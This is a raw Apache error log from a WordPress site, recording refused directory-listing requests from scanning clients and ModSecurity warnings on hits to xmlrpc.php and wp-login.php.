[Mon Apr 13 21:24:29.180777 2026] [autoindex:error] [pid 7228:tid 7230] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:29.455494 2026] [autoindex:error] [pid 7228:tid 7253] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:37.310159 2026] [autoindex:error] [pid 7228:tid 7254] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:37.582632 2026] [autoindex:error] [pid 7228:tid 7251] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:37.856669 2026] [autoindex:error] [pid 7228:tid 7239] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:38.130181 2026] [autoindex:error] [pid 7228:tid 7236] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:38.402375 2026] [autoindex:error] [pid 7228:tid 7248] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:43.076951 2026] [autoindex:error] [pid 7228:tid 7235] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:44.458195 2026] [autoindex:error] [pid 7228:tid 7253] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:44.733525 2026] [autoindex:error] [pid 7228:tid 7254] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:45.012718 2026] [autoindex:error] [pid 7228:tid 7251] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:45.299031 2026] [autoindex:error] [pid 7228:tid 7236] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:45.578562 2026] [autoindex:error] [pid 7228:tid 7230] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:50.344722 2026] [autoindex:error] [pid 7228:tid 7233] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:54.081436 2026] [autoindex:error] [pid 7228:tid 7231] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:54.365202 2026] [autoindex:error] [pid 7228:tid 7240] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:55.761720 2026] [autoindex:error] [pid 7228:tid 7235] [client 91.230.225.65:27065] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:07.502829 2026] [autoindex:error] [pid 63406:tid 63429] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:07.780775 2026] [autoindex:error] [pid 63406:tid 63435] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:08.051871 2026] [autoindex:error] [pid 63406:tid 63422] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:08.325187 2026] [autoindex:error] [pid 63406:tid 63433] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:13.067645 2026] [autoindex:error] [pid 63406:tid 63424] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:16.695768 2026] [autoindex:error] [pid 63406:tid 63420] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:17.020720 2026] [autoindex:error] [pid 63406:tid 63423] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:27.641870 2026] [autoindex:error] [pid 63406:tid 63431] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:30.134755 2026] [autoindex:error] [pid 63406:tid 63411] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:30.415088 2026] [autoindex:error] [pid 63406:tid 63423] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:30.715179 2026] [autoindex:error] [pid 63406:tid 63431] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:32.165879 2026] [autoindex:error] [pid 63406:tid 63428] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:33.554703 2026] [autoindex:error] [pid 63406:tid 63426] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:49.839741 2026] [autoindex:error] [pid 63406:tid 63422] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:52.237978 2026] [autoindex:error] [pid 63406:tid 63415] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:54.643753 2026] [autoindex:error] [pid 63406:tid 63431] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:57.066754 2026] [autoindex:error] [pid 63406:tid 63411] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:58.504518 2026] [autoindex:error] [pid 63406:tid 63431] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:25:58.785743 2026] [autoindex:error] [pid 63406:tid 63418] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:00.291920 2026] [autoindex:error] [pid 63406:tid 63411] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:00.583518 2026] [autoindex:error] [pid 63406:tid 63427] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:00.923925 2026] [autoindex:error] [pid 63406:tid 63425] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:04.640724 2026] [autoindex:error] [pid 63406:tid 63426] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:07.156869 2026] [autoindex:error] [pid 63406:tid 63414] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:15.237279 2026] [autoindex:error] [pid 63406:tid 63429] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:15.519260 2026] [autoindex:error] [pid 63406:tid 63424] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:16.916843 2026] [autoindex:error] [pid 63406:tid 63411] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:18.384391 2026] [autoindex:error] [pid 63406:tid 63426] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:22.207024 2026] [autoindex:error] [pid 63406:tid 63432] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:27.080956 2026] [autoindex:error] [pid 63406:tid 63417] [client 91.230.225.69:21161] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:33.710468 2026] [autoindex:error] [pid 57183:tid 57189] [client 91.230.225.64:21847] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:37.406381 2026] [autoindex:error] [pid 57183:tid 57206] [client 91.230.225.64:21847] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:26:37.685690 2026] [autoindex:error] [pid 57183:tid 57201] [client 91.230.225.64:21847] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:29:32.945100 2026] [:error] [pid 9314:tid 9329] [client 201.23.19.75:40770] [client 201.23.19.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.23.19.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzvvG_r4W8fX2GWyGQuKQAAAY0"]
[Mon Apr 13 21:32:32.738108 2026] [:error] [pid 57183:tid 57200] [client 46.163.72.195:34400] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzwcDDO3t8R5NaxzYRYJQAAAU8"]
[Mon Apr 13 21:37:40.405626 2026] [:error] [pid 57183:tid 57208] [client 141.94.18.111:50022] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzxpDDO3t8R5NaxzYRb-gAAAVc"]
[Mon Apr 13 21:41:26.076036 2026] [:error] [pid 57183:tid 57201] [client 143.244.166.58:38908] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzyhjDO3t8R5NaxzYRetAAAAVA"]
[Mon Apr 13 21:47:37.609421 2026] [:error] [pid 7228:tid 7233] [client 152.53.87.236:38780] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzz-QEnn1dQrOSHHNWsuwAAAQM"]
[Mon Apr 13 21:51:32.484173 2026] [:error] [pid 63310:tid 63368] [client 160.250.186.233:46462] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz05HoXpRU5ztmwPjJp-AAAAFg"]
[Mon Apr 13 21:53:02.294158 2026] [:error] [pid 63309:tid 63318] [client 136.144.35.19:25359] [client 136.144.35.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "adz1PkpIKZ10weXpf0U2jAAAAAU"]
